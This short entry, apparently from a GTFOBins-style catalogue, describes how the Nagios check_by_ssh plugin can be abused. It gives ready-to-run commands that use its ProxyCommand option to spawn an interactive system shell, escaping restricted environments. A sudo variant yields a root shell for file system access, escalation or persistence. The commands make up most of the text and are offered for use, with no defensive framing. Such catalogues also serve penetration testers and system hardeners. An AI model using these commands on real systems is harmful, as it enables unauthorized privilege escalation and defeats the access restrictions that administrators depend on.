This is the check_by_ssh
Nagios plugin, available e.g. in /usr/lib/nagios/plugins/
.
It can be used to break out from restricted environments by spawning an interactive system shell.
The shell will only last 10 seconds.
check_by_ssh -o "ProxyCommand /bin/sh -i <$(tty) |& tee $(tty)" -H localhost -C xx
If the binary is allowed to run as superuser by sudo
, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.
The shell will only last 10 seconds.
sudo check_by_ssh -o "ProxyCommand /bin/sh -i <$(tty) |& tee $(tty)" -H localhost -C xx